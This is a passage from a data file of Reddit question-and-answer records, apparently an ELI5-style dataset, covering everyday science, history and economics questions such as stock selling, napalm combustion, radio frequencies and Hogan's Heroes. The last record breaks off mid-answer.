{"q_id": "16lamj", "title": "selling stocks at the stock market", "selftext": "Let's say you buy some stock of a company at $5 a share, then it goes up to $10. Because of this growth in price you want to sell, but what guarantees you that you will find a buyer? \n\nedit: selling stocks IN the stock market", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16lamj/eli5_selling_stocks_at_the_stock_market/", "answers": {"a_id": ["c7x2g6b", "c7x3564", "c7x3eiz"], "score": [2, 2, 5], "text": ["The fact that the price is now at $10 means that is the price that balances the number of people who want to buy with the number of people who want to sell.   Unless you are an institutional buyer, your sale will not affect that balance enough to affect the price, meaning there will be buyers.\n\nThere is no guarantee you will get that *exact* price, as prices fluctuate continuously, but unless you are unlucky enough to try to sell at the exact moment some bad news hits, it should be pretty close to that, in the 9 3/4 to 10 1/4 range.", "When they list stock prices they are usually listing the price the stock last sold for. So, the last transaction of the day for that stock was for $10 per share. That means at least one person was willing to buy at that price. There's no guarantee you'll get the same price the next day but it's fairly likely.", "Think of it as pie. You divide a pie in 4 pieces. There are 5 people who wants a piece. Someone will not get that last piece. If you start selling the pie at say 5$, and everyone really wants a piece, the price of the piece will start going up. The 5th guy will want it at a price greater than 5$ in order to make sure he gets a piece.  Now imagine there are 30 people who wants a piece. Everyone can yell out a price and change it at will depending on what others are willing to pay.\n\n#1 will say 10$, #2 will say 10.01$, #3 will say 9.99$, #4 will say 10$ and so on.\n\nThe pieces of pie went from being worth 5$ to being worth 10$. What prevents the price of the piece to stay at 5$ is the fact that there are some people out there willing to pay 10$ for that piece, and some people are NOT willing to buy it for that price. If there are more people willing to buy it at 10$ than those willing to buy it for 5$, the price of the piece will be 10$ (for example, Warren Buffett made his fortune buying pieces at 5$ instead of 10$, but that's another explanation).\n\nNothing guarantees you will find a buyer for your piece, however, big companies usually have millions of people willing to buy that piece of pie (called volume, Coke's volume today was: 11,001,439), so there was the equivalent of 11,001,439 people wanting a piece of Coke's pie.\n\nThe chance to sell your pie is great. If you can't manage to sell your piece of pie in Coke it would be because you want to sell at a price which is higher than what the majority wants."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "czcwpm", "title": "Did Continental troops set fire to New York during the retreat of 1776?", "selftext": "If so, was this ordered by General Washington after Congress had advised against it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/czcwpm/did_continental_troops_set_fire_to_new_york/", "answers": {"a_id": ["eyz5rs3"], "score": [2], "text": ["The short answer is that we are uncertain about the origins of the fire, but we can say with some certainty that Washington did no order the city to be torched during his retreat.\n\nWashington's priority during the retreat following the Battle of Brooklyn Heights was to keep the army in one piece after being royally thrashed by the British regulars. The Continental Army had jut lost a fifth of its fighting force as casualties and Washington had only barely prevented the panic from immediately scattering the army. He knew that the army was in no condition to fight against the British, were preparing to lay siege to his encampment, and so he took efforts to escape without a fight.\n\nHis efforts were successful in this regard. The British awoke on the morning of August 30 to find the Continental Army had vanished right from under their noses. Washington had made a stealthy retreat to Manhattan with no casualties. He later engaged the British again at Harlem Heights on September 16, but his primary aim was to retreat from New York.\n\nWashington had a knack for stealthy troop movement. He managed to stealthily set up ordinance on a hill overlooking Boston during his siege earlier in 1776 that forced the British to retreat. Notably, the British issued terms for this retreat that stated they would burn the city unless they were allowed to peacefully evacuate, to which Washington consented. \n\nWashington and his soldiers and generals were fighting on their own territory, near their own homes. They had little desire to set fire to their homeland, though this was occasionally discussed in council. Washington also knew that many Americans were on the fence about whether or not to side with the Continental Congress or the Crown. Torching the fledgling nation's biggest and most commercially important city would have deeply demoralized the Patriots and the undecided.\n\nA fire did break out, but it appears to have been accidental. Additionally, it occurred *after* the British had fully occupied the city. British General Howe suspected Patriot arsonists, but Patriots also assumed this to be a vindictive act on the part of the British Army.\n\nSources: \n\nRon Chernow - *Washington: A Life*\n\nDavid McCullough - *1776*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16522b", "title": "If I urinate outside, will my dog or even other dogs recognise it as me marking my territory?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16522b/if_i_urinate_outside_will_my_dog_or_even_other/", "answers": {"a_id": ["c7sw5td", "c7sywtj", "c7szq0g", "c7t0oxo", "c7t6qnh"], "score": [736, 54, 14, 8, 2], "text": ["Dogs receive very specific information from urine markings. They learn about other dogs' gender, reproductive ability, and even individual identity from urine spots. This is how they use the urine of dogs to assess canine dominance. - [Source](_URL_1_)\n\nMore importantly for your question, dogs use the scent of other mammals for a separate purpose: safety. Coyote urine, for example, would be a signal of nearby predators. Based on this knowledge, dogs would categorize your urine as human, but not see it as a threat.\n\nDogs accept or reject dominance in humans in through other cues, namely physical and verbal actions. Since that's more animal behavior than chemistry, I'll hand off the rest of the question to [this source](_URL_0_).", "It's likely that your dog has already gathered quite a bit of olfactory information via your urine from other sources, namely your bathroom and your clothing. The act of urinating outdoors isn't especially relevant.\n\nDomestic dogs have exceptional olfactory capabilities. Although not a replacement for rigorous human diagnostics, [dogs can be used to detect irregularities in urine](_URL_2_) that may assist in prevention and treatment of certain types of cancers. [Owners have reported changes in their dog's behavior prior to being diagnosed with cancers and tumors](_URL_0_), so it is possible that your dog would \"act differently\" toward you within this context. \n\n[Animals learn via Skinnerian and Pavlovian conditioning](_URL_1_). Your dog learns that, when they preform certain behaviors, they are either rewarded or punished, and that certain events are contingent upon others. This helps us to understand the relationships we have with our animals. Your dog is dependent upon you for access to all sorts of \"good for dog\" resources- [the dominance model popularized by television trainers](_URL_3_) isn't necessary to explain behavior (within the context of human/dog relationships); all too often it's used to explain *away* behavior and justify compulsory training methods.", "I've always wondered if smiling or laughing around a dog, either yours or a random dog, would create hostility or anything of the like. Isn't showing teeth usually a warning or threat between canine? Does this behavior translate to humans?", "I think this is the best question I've ever seen in askscience.\n\nTo add to your question, do dogs judge dominance based on scent alone (seems unlikely), or do other factors come into play ? For example:\n\n* Patrolling your territory and bark.\n* Your history of fighting and biting other dogs.\n", "I have observed a very interesting phenomenon. My younger pup has once urinated on the balcony above my concrete patio. The urine seeped through the boards onto the concrete. She never walked there before and it seems no other dog besides my three year old labradoodle did. When the older dog smelled the stain she went nuts. She could not understand how there could be a stain and no tracks! This leads me to believe that dogs use information from the tracks to interpret the chemical structure. A sort of public key method. Can an expert perhaps elaborate on this theory?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.psychologytoday.com/blog/canine-corner/201007/obtaining-status-rather-enforcing-dominance-over-dogs-positive-program", "http://scienceblogs.com/thoughtfulanimal/2011/03/07/defending-your-territory-is-pe/"], ["http://news.bbc.co.uk/2/hi/uk_news/england/oxfordshire/7739865.stm", "http://www.npr.org/2011/05/26/136497064/the-new-science-of-understanding-dog-behavior", "http://www.nature.com/news/2004/040920/full/news040920-14.html", "http://www.avsabonline.org/uploads/position_statements/dominance_statement.pdf"], [], [], []]}
{"q_id": "281z3o", "title": "how does napalm not burn out before it reaches the ground?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/281z3o/eli5_how_does_napalm_not_burn_out_before_it/", "answers": {"a_id": ["ci6l6qh", "ci6n32r", "ci6p4c8", "ci6rcn8"], "score": [15, 2, 5, 3], "text": ["It's dropped in a casing. Sort of like a tank, so as it's dropped it's just a bunch of highly-flammable chemicals -- ignition happens after the aircraft drops the weapon. There's usually a bursting charge as well that helps distribute the napalm over a wide area. Here's a PDF with a diagram of a napalm bomb: _URL_0_", "Combustion is generally a surface action involving fuel/air vapour mixtures, the napalm is sufficiently clumped to delay this process otherwise it would just be another explosion.", "If you are thinking about flame-thrower napalm, rather than bombs, then it's because the napalm is thickened somewhat, rather like a dish soap consistency.  \n\nWhen that is pumped through the hose of a flame thrower, it is burning on the surface, but when drops land they flatten and the 'inside' of the drops are splashed on to the surface and set afire.", "napalm is basically petroleum jelly and gasoline. the gas burns while the jelly acts in the same way that wax in a candle does."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://64.78.11.86/uxofiles/mulvaney/techdatasheets/AN-M76,IncendiaryBomb,500lbs.pdf"], [], [], []]}
{"q_id": "a40x7g", "title": "why are radio stations identified by their exact frequency, such as 103.1mhz, whereas tv stations were traditionally identified by a generalized channel number, such as 7?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a40x7g/eli5_why_are_radio_stations_identified_by_their/", "answers": {"a_id": ["ebaq60t", "ebaqk64", "ebaqojb", "ebaqopr", "ebaqxm5", "ebar0ev", "ebarkdc", "ebas2xf"], "score": [20, 589, 2, 10, 36, 7, 30, 3], "text": ["Radio stations are much more spread out, over the spectrum. You might have 2 dozen radio stations in the same geographic area. You may also have someone on 100.3 and someone on 100.9\n\nWith television, particularly with VHF in the analog days, you only had a couple, so a fixed dial made more sense. My guess is UHF which had more channels just copied what was then the format everyone knew for VHF.\n\n", "Radio signals are a single frequency.\n\nTV signals contain(ed) multiple frequencies (for the video, RGB colors, and separately for the audio), so they made a dial with \"channels\" instead of having multiple frequency dials and forcing people to \"tune\" the image and then \"tune\" the audio separately.  That way you tune into the \"channel\" and the TV tunes into the sets of frequencies required to receive the video AND audio for that station.", "Both TV and Radio waves (old-school TV was broadcast out in waves of light like Radio, just different frequencies and amplitude) but radio was earlier. Radio dials helped \"tune\" the antennae to the right precise frequency to clearly hear the signal and decode it, playing sound for people to listen to and enjoy. This lent itself to forcing people to understand a station can't just be \"101,\" it needed to be \"101.3\" to clearly hear, you may get nothing at \"101.2\" and \"101.4.\" \n\nBy the time TV came out, all of the technology improved. The TV stations were still being broadcast over (basically) radio waves, but the hardware inside the TV's could tune to a precise channel for the viewers. \"Channel 3\" might have been 88.73 or whatever, but the dial on the TV was connected to more sophisticated digital hardware and if you selected Channel 3 the TV already had channel 3 dialed to the exact necessary frequency. \n\nWe got used to a lot of this, so it wasn't until recent radio where the radio itself can sort of automatically scan and tune itself, but the names of stations were kept as a convention and branding, except with satellite radio (though they still have numbers most people recognize XM stations by a word or genre). ", "It is part of the laws that are enforced by the FCC found here:\n\n & #x200B;\n\n[47 CFR 73.1201 - Station identification.](_URL_0_)\n\n & #x200B;\n\nAs an interesting side note some television stations used to broadcast over the air (remember back in the days of antennas) VERY closely to the band of frequencies that radio worked at. In the Milwaukee, WI area you used to be able to pick up the audio for channel 4 if you turned your radio all the way down to the LOWEST end of the FM dial. There was some slight leaking for channel 4 that would be picked up on a radio but only for audio.", "Just realized this is ELI5, so I'll add some more.\n\nRadio and TV use the \"electromagnetic spectrum\" to reach you. That is a fancy word for stuff like light, and a small part of that is the rainbow.\n\nThink of each color in the rainbow as a frequency like on a radio. You can just listen to red or blue or yellow for the radio, but TV has to send out pictures and sound so it can't fit on just one color. Instead of watching a show on Red-Orange-Yellow, we call that Channel 1. Green-Blue-Purple is Channel 2.\n\n-----\n\nMore detail that is not ELI5:\n\nA TV channel uses up a wider section of the spectrum in order to handle all of the video and audio content. _URL_0_\n\nIt's like WiFi uses channels as a shorthand for the chunks of spectrum you are using.", "TV actually used to be tuned manually with a dial, same as radio, these days they're tuned automatically.  \nEach TV (and Radio) station is assigned a bracket (or channel) with a small range of radio frequency to accommodate any signal disruption. In television it's usually several megahertz wide.  \nEach of those brackets is numerically identified by its position along the radio spectrum and the stations themselves usually name themselves to match. Mostly it's a national/international convention.  \n\n\nSide note: Modern TV broadcasting includes a lot of stuff like multiplexing which means that not all of the signal you're watching is in the same channel, but they continue using the original brackets for legacy reasons. you can still take an old TV from the 40s and watch modern shows on it without most of the extra features.  \n\n\nIn the US, radio stations are required by the FAA to identify themselves for legal reasons at the top of every hour, minimum requirement is the callsign and city of licence, but typically they include the frequency and the station ownership as well.\n\nTV do something similar, but only have to do a callsign as a graphic on-screen each hour or so.  \n\n\nSpeculatively, by providing their exact frequency (as the middle and strongest part of their signal bracket) a radio station is assisting manual tuning because now you know whether you need to dial up or down the spectrum to get a better signal. TVs don't bother because you're not generally travelling, so stepping up and down the frequencies at fixed intervals will get consistent results once you've tuned initially.", "Both television and FM frequencies are allocated by channel. FM channels are small enough to be centered on a readily human decennale frequency. In imitation of earlier forms of radio, they use the center frequency as an identifier. Before 1989 they were typically more vague with an approximation of the  center frequency. \"Rock 96\" became \"Rock 95.7\" during the eighties in no small part due to the introduction of digital frequency counters or dials on consumer-grade receivers.\n\nTelevision utilizes channels which are, in North America, 6 Mhz wide or obnoxious to common ears to discern through announcement. From 1947 forward, in lieu of 63 MHz or 60-66 MHz a more convenient identifier was simply \"Channel 3\" which also made the dials on TV receivers easier to discern.", "They weren't until digital tuners became common in the 1980's. Everyone just rounded up or down because on the old tuners with a dial, the decimals weren't there. You just kind of scrolled around until you got the best signal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.law.cornell.edu/cfr/text/47/73.1201"], ["http://otadtv.com/frequency/index.html"], [], [], []]}
{"q_id": "bvdhxx", "title": "what's that line on a woman's belly coming up to her bellybutton and why do sometimes women that never been pregnant gets it?", "selftext": "ELI5: what's that line on a Woman's belly coming up to her bellybutton and why do sometimes women that never been pregnant gets it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bvdhxx/eli5_whats_that_line_on_a_womans_belly_coming_up/", "answers": {"a_id": ["epo96z6"], "score": [15], "text": ["The line is called \u201clinea nigra\u201d (Latin: \u201cblack line\u201d). _URL_0_\n\nIt is caused by hormones during pregnancies and can happen rarely outside of pregnancy, e.g. during puberty, probably also due to hormonal stimulation of the cells in the skin that make it darker in this small region."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Linea_nigra"]]}
{"q_id": "2ae471", "title": "If you slowed an electron down in a vacuum and added a proton to the environment, would it spontaneously form a hydrogen atom?", "selftext": "Or would the electron simply bind to the proton, or penetrate?. If so, then what force is it which compels the electron to accelerate to the appropriate speed to occupy the 1s orbital?\n\nWhat force is it that results in steric interference between functional groups which often dictate the most energetically favorable three dimensional chemical configuration?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ae471/if_you_slowed_an_electron_down_in_a_vacuum_and/", "answers": {"a_id": ["ciuc172"], "score": [10], "text": ["Yes, as the ground state of the hydrogen atom has 13.6 eV less energy than the separated electron and proton. The force which pulls it in and speeds it up is the coulomb force, as opposite charges attract. The energy difference will be radiated as one or more photons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2y520z", "title": "what exactly is a zero hour contract, and why is it causing such a split in the working community?", "selftext": "So many people seem to think they're either great, or the devil's work.... What exactly is all the fuss?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2y520z/eli5_what_exactly_is_a_zero_hour_contract_and_why/", "answers": {"a_id": ["cp6aivr", "cp6aj2t", "cp6auaw", "cp6e3to"], "score": [23, 15, 2, 13], "text": ["A zero-hour contract is one where the minimum hours you can be expected to work in a month is zero, but you still have to be available for work whenever the company needs you. You will not be compensated for being on call, only for the hours you have actually worked.\n\nIf you have an amicable relationship with the company then its can be a very flexible way of working. A lot of times though people are forced into them as they are the only job available, and the company can threaten to withhold further hours if you complain about safety or unpaid overtime.", "A zero hour contract is an employment contract that doesn't guarantee any minimum amount of working hours but requires you to be available during certain times. Basically, the employee agrees to be on call for work, but the employer only calls in the employee if they are needed and the employee is only paid for time actually worked.\n\nThe people who like them usually only want a job for supplementary income. People like students or retirees might like the flexibility they provide and the fact that they won't end up working too many hours. They would rather work 3 hours one week, 10 hours the next, and 0 the week after than have 20 hours every week.\n\nOn the other hand, people who need a larger and more stable income do not like them because there's no guarantee of work under them. It may be hard to quit a job with a contract like that if you desperately need the money, but it also might not be paying quite enough with the low hours and might be hindering you from finding other jobs.", "They're a bit of both.\n\nIf you've got a 0-hour contract with your employer it means that though you're an employee, your boss doesn't actually have to schedule you for any amount of time. So if he doesn't have any work for you to do. He can tell you to stay at home, and not have to pay you.\n\nGreat for your boss. But it doesn't offer any certainty to you wich, in some cases can be pretty bad.\n\nSay you're relying on your job for your livelyhood. Paying rent, utilities, food etc. You need a certain amount of money each month.  \nAnd if your boss decides that you don't need to come in that week, how are you going to eat? If it happens once, well maybe you've got something laid by or you can be briefly overdrawn on your account. But it still kinda sucks.\n\nIf you've got a 40-hour contract it's a safety net for yourself. No matter how much your boss asks you to work, he's gotta pay you for 40 hours of your time each week. Wich is good for you, since hey, guaranteed income. You can eat every week. Not so good for your boss. Even if there's no work, he's got the cost of keeping you employed.", "it's a scheme to avoid paying unemployment. under such a contract, the business can simply never call you in. all the problems of being unemployed with none of the protections."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1ti44i", "title": "How did they deal with the logistics/supply chain management in ancient/medieval times?", "selftext": "How proficient were they in logistics in military campaigns and in large cities? I just find it hard to understand how they could effectively (relativallyspeaking) supply their armies and big cities/trade hubs without computers, calculators and even things such as currency value and the metric system and so on. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ti44i/how_did_they_deal_with_the_logisticssupply_chain/", "answers": {"a_id": ["ce8ai47"], "score": [2], "text": ["For the ancient world the classic text on this is Engels's *Alexander the Great and the Logistics of the Macedonian Army*. You can use the process of this book to consider any ancient war, really. In sum: Alexander never relied on scavenging for food. He followed major roads and kept close to supply centers. Later historians have argued (and I agree) that when armies attack the crops of a city they aren't doing it primarily for food (which they already have and are getting from elsewhere) but to goad people into battle (See *Western Way of War*). Ancient armies set up supply through alliance and shipping and by taking stores from conquered cities. Alexander probably did all three (I wager most of his grain came from Egypt, not Macedonia). Caesar relied on his Gallic allies for food and they ended up forming the revolt under Vercingetorix because of the burden. Hannibal likewise relied on help from Apulia, a region in southeast Italy. Once you relied on foraging, your army was doomed.\n\nOverall I get the sense that logistics were planned by looking at what regions near your goal could support an army your size and planning from there. Thus Alexander marches from population center to population center relying on trade and grain stores to get supplies for his army. If the ships were slow to come from Egypt then he could take from the stores from a conquered city and restore them from the ships. This was done because there was no effective way to transport supplies overland without slowing down his famously fast army (oxen move only about 10 miles a day whereas a horse could cover double that without wearing out) thus he handled it by trying to stay within the range of fertile regions where he could freely take what he needed. Other famous invaders did the same thing. This strategy also backfired easily. Caesar was almost starved into surrender on two occasions (before the Battle of Pharsalus and at Ilerda, Spain) because his army was unable to march to the next town."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3q4lsy", "title": "Were \"geishas\" just high class prostitutes?", "selftext": "In Western society \"escorts\" have always maintained the legal fiction that they solely offer \"companionship\" services in order to escape prosecution/social stigma. In reality, escorts have sex with their clients 99% of the time because that's what clients reasonably expect - one would have to be quite sheltered to take the \"companionship\" story at face value. Although one might take an \"escort\" to a social function for her elegance and conversational ability, her real role is the sexual service she provides.\n\nGiven the taboo associated with exchanging sex for money, isn't it quite likely that geishas were actually sophisticated sex workers? Isn't it quite likely that - like Western \"escorts\" - geishas maintained the outward impression that their primary role was \"sophisticated companionship\" whilst the tacitly acknowledged reality was that the service they provided clients usually included sex? Further, wouldn't historical sources from the period be somewhat naive about the actual practices that occurred because of the uptight social mores of the time? Is the Western notion of the geisha as primarily a \"sophisticated companion\" who does not offer sexual services merely a myth that started when naive, prudish Western people recorded their observations of Japanese culture?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3q4lsy/were_geishas_just_high_class_prostitutes/", "answers": {"a_id": ["cwbzu1u"], "score": [10], "text": ["No they didn't have sex for money, they did exactly as it's written on the jar, extremely sophisticated societal company for tea ceremonies and the like.\r\rThe idea of them being prostitutes came post WW2 when Japanese prostitutez were dolling them selves up as Geisha in order to get clients without being actual Geisha"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7sxmco", "title": "why are jingles in young children's shows like the wiggles so easy to remember?", "selftext": "I'm 24, but I can hear \"Fruit salad, yummy yummy\" playing in my head seamlessly at least 15 years later. Is there some intentional child psychology in play to help these jingles stick?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7sxmco/eli5_why_are_jingles_in_young_childrens_shows/", "answers": {"a_id": ["dt8ersl"], "score": [2], "text": ["Partially because kids watch the same shows over and over several times per week.....and they play that stupid fruit salad song at least once almost every episode\n\n\nHeres some quick data on laws of learning:\n\nThe laws of primacy and the laws of repitition.....\n\nThe law of primacy says that which you learn first you will remember best. *(which is why its so easy to teach little kids a second language or why they are like sponges and learn alot as a kid - but you cant teach an old dog new tricks.)\n\nThe law of repitition says the more times you repeat something the more likely you are to learn. Additionally - if you do it different ways *(visual/audio/read it/write it experience it etc) will reinforce your learning.\nThe most important thing about the law of repitition is not doing it over and over one day. Its doing it over and over several different times over several different days.\n\nIt is highly likely if you remember the wiggles you also remember other things my kids were addicted to - drake and josh - icarly - and suite life with zach and cody. All those theme songs are engrained in my brain forever."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "51he14", "title": "Do wars have an effect on Earth's weather or climate?", "selftext": "I was listening to shows about major wars like the world wars and heard a lot of statistics about how many explosives were used. The facts were things like \"1.1 million shells were fired over the course of 4 hours\", and many statistics like this one. Now those are absolutely huge amounts of explosives detonated in a certain area over a short period of time; can this have an immediate effect on the weather of that area, or even an effect on the climate of an area over longer periods of time? If so, are there any documented cases of that?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/51he14/do_wars_have_an_effect_on_earths_weather_or/", "answers": {"a_id": ["d7c17c8"], "score": [7], "text": ["Yes, but probably not as much as you think.  Allied bombing of Germany in the waning days of WWII, especially in places like Dresden and other populated area with lots of flammable man-made structures, were reputed to have produced localized environments which would be described as \"fire storms\", where the intense heat would indeed have produced its own short-lived weather systems due to ability of the massive amounts of energy generated to move large volumes of air.  \n\nI also remember reading that due to the grounding of air traffic immediately after 9/11, the lack of contrails in the atmosphere actually did change global temperatures by some minuscule amount."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bvf8p4", "title": "What exactly is being depicted in the oldest known surviving camera photograph?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bvf8p4/what_exactly_is_being_depicted_in_the_oldest/", "answers": {"a_id": ["epq36zj"], "score": [7], "text": ["Ni\u00e9pce's house is now a [museum](_URL_1_) and photography is not allowed inside, so unfortunately there is no modern photograph of the view from the window that I can find.\n\nThat said, [on the website of the Harry Ransom Center](_URL_0_), you can see a sketch done by the historian Helmut Gernsheim, who rediscovered the original plate in 1952 (it is now on exhibition at the Harry Ransom Center.) The image you linked is actually a pointillist painting by Gernsheim; the original plate is much more washed out.\n\nIn the video on that webpage you can also see a 3D reconstruction of the landscape being viewed. The video mentions that the exact view in the photograph no longer exists because the window it was taken from was later moved to build a chimney."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.hrc.utexas.edu/exhibitions/permanent/firstphotograph/history/", "http://www.photo-museum.org/"]]}
{"q_id": "flr3fv", "title": "What physical size is a Coronavirus cell?", "selftext": "Asking to for a friend who has 3D printed a cell and wants to know the scale", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/flr3fv/what_physical_size_is_a_coronavirus_cell/", "answers": {"a_id": ["fl0lyvb"], "score": [21], "text": ["It's about 50-200nm.\n\nIt should be noted that viruses are not cells.  They are bits of genetic material in a protein shell.  They have no inherent capacity to produce energy or replicate themselves, which is why they must hijack actual cells from some organism to propagate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4wn96x", "title": "President Obama's campaign is lauded for its use of data science and \"ground game\" techniques in his campaigns. What are some other notable advancements in campaigning that changed the way campaigns are run? What were their impact on that election?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4wn96x/president_obamas_campaign_is_lauded_for_its_use/", "answers": {"a_id": ["d68g13m"], "score": [2], "text": ["Sorry, we don't allow [\"example seeking\" questions](_URL_1_). It's not that your question was bad; it's that these kinds of questions tend to produce threads that are collections of disjointed, partial responses. That makes a lot of work for moderators, and we just don't have the staff to cope. If you have a question about a specific historical event, period, or person, feel free to rewrite your question and submit it again. If you don't want to rewrite it, you might try submitting it to /r/history /r/askhistory, or /r/tellmeafact. \n\nFor further explanation of the rule, feel free to consult [this META thread](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22example_seeking.22_questions"]]}
{"q_id": "5fze8z", "title": "In the 60's and 70's there were a variety of sitcoms set during World War Two, like Hogan's Heroes, that portrayed Germans and the War in a very humorous silly light. Was there any backlash from veterans of World War Two for that portrayal?", "selftext": "It seems *highly* unlikely that a show like that could be set in the Iraq or Afghanistan wars without *significant* backlashe from veterans.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5fze8z/in_the_60s_and_70s_there_were_a_variety_of/", "answers": {"a_id": ["daodcxs", "daogh3j", "daow3sj"], "score": [348, 559, 530], "text": ["As a follow up: was MASH controversial amount Korean War veterans?", "Just as a clarifying point, the 60's and 70's were anywhere from 15 to 34 years after WWII ended - so your premise that Iraq and Afghanistan veterans wouldn't stand for comedies about Iraq and Afghanistan is at a minimum a decade premature, for the same context.  Your question's premise is framed in the years 2025-2045.", "As far as I can tell, there indeed was some controversy when Hogan's Heroes first aired though I don't know if it would qualify as a backlash. The question asked by many journalists and some viewers was not so much if it was ok to depict the Germans as silly but rather if setting a TV show in a camp (a POW camp in the show but some apparently mixed it up with a Concentration Camp. /u/kugelfang52 could go more into depth concerning the American public's perception about camps in Nazi Germany in that regard).\n\nBob Crane, who played Hogan, had missed WWII but had been enlisted. He was also one of the most staunch defenders of this show. His biography mentions that after the show first aired and press articles brought up the issue if it was ok to have a show set in a German camp, he toured several Veteran's associations to talk to WWII vets. By all accounts, most the response was overwhelmingly positive. In 1968 he said in an interview: \"The ex-POWs in Albuquerque, NM, have an association. They had a convention and invited me. A lot of POWs are hooked on Hogan's Heroes. They're our biggest rooters--along with New York Jewish delicatessen owners!\"\"\n\nThe other important defender of the show that convinced a lot of people that Hogan's Heroes didn't have some sort of malicious or bad intent was Robert Clary, who portrayed Loius LeBeau on the show. Clary was a Holocaust survivor. Born a French Jew, he was rounded up and deported by the Germans to Buchenwald where he was liberated while also losing several family members in Auschwitz. Also, on the shows cast was Werner Klemperer (Klink), who was the son of ~~Viktor Klemperer, a linguist and Jewish survivor of Nazi Germany~~ Otto Klemperer, a famous composer who fled Germany in 1935. Klemperer signed up to the show under the condition that Klink must always lose. Both Clary and Klemperer defended the shows premise with the arguments that it was intended to show the Nazis' as idiots while at the same time have the horror of their deeds lurking around the corner.\n\nThis was not a new way to approach the subject. During WWII both Charlie Chaplin and Ernst Lubtisch had used this method of making ridicule of the Nazis while implying their brutality to great effect in films like the Great Dictator and To Be or Not to Be. It was an acceptable way of dealing with the subject because of the \u2013 rightful at some level \u2013 social perception that there was something entirely ridiculous about the Nazis all the while keeping their horrible deeds in mind.\n\nThe show itself and the response to it needs to be seen within the social climate of the time, namely, the escalating Vietnam War. As Lisa M. Mundley discusses in her book *American Militarism and Anti-Militarism in Popular Media, 1945-1970*, 2012, Hogan's Heroes is a show that belongs into the category of the \"war as adventure\" genre. Hogan's tells the story of a communal effort to defeat an enemy that is bumbling at times but nonetheless dangerous (the Gestapo in the show is a moniker for the dangers of the Germans). It even went so far as to try introduce a Soviet POW but that proved not possible in the Cold War climate and the character disappeared again.\n\nHowever, what is important about the show and its telling of WWII as an adventure where sharp wit and intelligence can beat a bumbling but at times nonetheless dangerous enemy is that it hit a nerve with its portrayal of a group of allied people coming together to beat an evil enemy. An enemy that nonetheless can be understood and ridiculed. At the time, this was difficult to do with the North Vietnamese since they had a greater degree of \"otherness\" and because the war in Vietnam, unlike WWII, did not inspire the same feeling of fighting a \"good war\" in the public. While broad swaths would have seen it as justified maybe, there still was controversy around the war itself to a measure that was not associated with WWII.\n\nHogan's was only one product of that particular wave of entertainment. Movies like *Where Eagles Dare* or *Kelly's Heroes*, both with Clint Eastwood as well as to a certain extend *MASH* (though that one differs slightly) all played into this social and medial trend of wanting to assure an American public that it was possible to fight a war that was good, that could be understood and where the enemy had been dangerous but also stupid to a certain extent.\n\nThis was how, even despite initial criticism of the premise of the show (not so much the Germans' portrayal) the show became such a hit and ran for six season.\n\nEdit: Minor corrections."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fg974e", "title": "Has any physical evidence ever been found of Xerxes' pontoon bridges across the Hellespont?", "selftext": "From reading Wikipedia, it sounds like historians generally accept that the pontoon bridges did actually happen. But there appear to be a lot of specifics that are disputed, and it can be reasoned that many points of Herodotus' descriptions would be problematic from a technical standpoint.\n\nHas any physical evidence of the bridges ever been found? Has there ever been an attempt made to find any? Divers or underwater craft looking for evidence?\n\n > After the crossing, the bridges were left behind. When a part of the Persian army later retreated to the Hellespont, they only found the debris of the bridges destroyed by another storm.[9]\n\nCould we expect to find any anchors, or fragments of sunken boats, or anything of the like down there? I have no idea if it's even feasible to expect such things to last 2500 years, or to remain stationary.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fg974e/has_any_physical_evidence_ever_been_found_of/", "answers": {"a_id": ["fk3ebni"], "score": [6], "text": ["No. To my knowledge no physical evidence of the pontoon bridges has ever been found and I would not expect any to be found today. There are several factors that would rather quickly destroy any evidence 